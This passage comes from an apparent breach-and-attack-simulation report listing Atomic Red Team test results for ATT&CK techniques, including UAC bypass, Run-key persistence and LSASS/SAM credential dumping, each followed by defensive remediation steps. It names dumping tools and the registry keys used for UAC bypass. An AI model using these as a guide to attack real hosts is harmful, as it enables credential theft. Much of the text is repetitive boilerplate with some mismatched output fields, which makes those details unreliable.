- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-74 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-75 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

Defense Evasion

What happened Technique executed: technique ran to completion

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-77 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: technique ran to completion

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-78 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-79 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-80 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-81 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: PSComputerName

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-82 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: technique ran to completion

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

HIGH

F-83 T1112 — Modify Registry

Atomic Red Team " Selective Techniques

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-84 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-85 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-86 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-87 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-88 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-89 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-91 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-92 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-93 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-94 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-95 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-96 T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion

- What happened** Technique executed: technique ran to completion
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

— Confidential — **F-97 T1218.011 — System Binary Proxy Execution: Rundll32** Atomic Red Team " Selective Techniques

Defense Evasion

What happened Technique executed: 1 file(s) copied.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

HIGH

F-98 T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion

What happened Technique executed: technique ran to completion

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

HIGH

F-99 T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion

What happened Technique executed: technique ran to completion

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

HIGH

F-100 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

HIGH

F-101 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence

What happened Technique executed: technique ran to completion

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

HIGH

F-102 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

HIGH

F-103 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence

What happened Technique executed: technique ran to completion

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

HIGH**F-104 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder**

Persistence

What happened Technique executed: Directory: C:\Windows\TEMP**Remediation**
1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
4) Audit and remediate all startup entries against a known-good baseline.**HIGH****F-105 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder**

Persistence

What happened Technique executed: New-Item : An item with the specified name C:\Windows\TEMP\atomictest\ already exists.**Remediation**
1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
4) Audit and remediate all startup entries against a known-good baseline.**HIGH****F-106 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder**

Persistence

What happened Technique executed: Hive:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer**Remediation**
1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
4) Audit and remediate all startup entries against a known-good baseline.**HIGH****F-107 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder**

Persistence

What happened Technique executed: Hive:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer**Remediation**
1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
4) Audit and remediate all startup entries against a known-good baseline.**HIGH****F-108 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder**

Persistence

What happened Technique executed: technique ran to completion**Remediation**
1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
4) Audit and remediate all startup entries against a known-good baseline.**HIGH****F-109 T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder**

Persistence

What happened Technique executed: technique ran to completion**Remediation**
1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
4) Audit and remediate all startup entries against a known-good baseline.**CRITICAL****F-110 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control**

Privilege Escalation

What happened Technique executed: The operation completed successfully.**Remediation**
1) Enforce least-privilege; audit and remove unnecessary local admin memberships.
2) Enable UAC at highest level; require elevation approval for all admin actions.
3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue.
4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

CRITICAL	F-111 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: Hive: HKEY_CURRENT_USER\software\classes\mscfile\shell\open	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	
CRITICAL	F-112 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: Hive: HKEY_CURRENT_USER\software\classes\ms-settings\shell\open	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	
CRITICAL	F-113 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: Hive: HKEY_CURRENT_USER\software\classes\ms-settings\shell\open	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	
CRITICAL	F-114 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: The operation completed successfully.	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	
CRITICAL	F-115 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: technique ran to completion	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	
CRITICAL	F-116 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: technique ran to completion	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	
CRITICAL	F-117 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: technique ran to completion	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	

CRITICAL	F-118 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: The operation completed successfully.	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	

CRITICAL	F-119 T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control	
	Privilege Escalation	
What happened	Technique executed: The operation completed successfully.	
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).	

HIGH	F-120 T1569.002 — T1569.002 - Test 7: Modifying ACL of Service Control Manager via SDET	
	Execution	
What happened	Technique executed: [SC] SetServiceObjectSecurity SUCCESS	
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.	

6. Detailed Technique Results

ERROR	T1003.001 — OS Credential Dumping: LSASS Memory	
	Credential Access · Critical	
Details	Execution error (required binary unavailable): "C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\step-0\procdump.exe\" is not recognized as an internal or external command,	
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.	
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.	

FAIL	T1003.001 — OS Credential Dumping: LSASS Memory	
	Credential Access · Critical	
Details	Technique executed: technique ran to completion	
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.	
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.	

FAIL	T1003.001 — OS Credential Dumping: LSASS Memory	
	Credential Access · Critical	
Details	Technique executed: The path 'C:\Windows\system32\C:\Windows\TEMP\nanodump.dmp' is invalid.	
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.	
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.	

Details	Execution error (required binary unavailable): "C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\step-4\mimikatz.exe\" is not recognized as an internal or external command,
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Execution error (required binary unavailable): "C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\venv_t1003_001\Scripts\pypy katz\" is not recognized as an internal or external command,
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Technique executed: IWR : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Execution error (required binary unavailable): "C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\step-7\procdump.exe\" is not recognized as an internal or external command,
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Technique executed: #####. mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Execution error (missing prerequisite): resolve-path : Cannot find path 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App' because it does not exist.
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Execution error (required binary unavailable): C:\Windows\Temp\xordump.exe : The term 'C:\Windows\Temp\xordump.exe' is not recognized as the name of a cmdlet,
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Technique executed: Directory: C:\Windows\TEMP
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Technique executed: The folder ""C:\Windows\TEMP\SilentProcessExit"" is not valid.
Threat impact	OS Credential Dumping: LSASS Memory (T1003.001): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

Details	Execution error (blocked on an interactive prompt): File C:\Windows\TEMP\sam already exists. Overwrite (Yes/No)?The operation was canceled by the user.
Threat impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

ERROR

T1003.002 — OS Credential Dumping: Security Account Manager Atomic Red Team â€” Selective Techniques
Credential Access · Critical

Details	Execution error (required binary unavailable): "C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\venv_t1003_002\Scripts\pypy katz\" is not recognized as an internal or external command,
Threat impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

ERROR

T1003.002 — OS Credential Dumping: Security Account Manager
Credential Access · Critical

Details	Execution error (exit 4294967295): Extensible Storage Engine Utilities for Microsoft(R) Windows(R)
Threat impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

ERROR

T1003.002 — OS Credential Dumping: Security Account Manager
Credential Access · Critical

Details	Execution error (exit 1): File Not Found
Threat impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

FAIL

T1003.002 — OS Credential Dumping: Security Account Manager
Credential Access · Critical

Details	Technique executed: technique ran to completion
Threat impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

ERROR

T1003.002 — OS Credential Dumping: Security Account Manager
Credential Access · Critical

Details	Execution error (required binary unavailable): Dumping SAM, output to .\Exploitation\SAMDump.txt
Threat impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
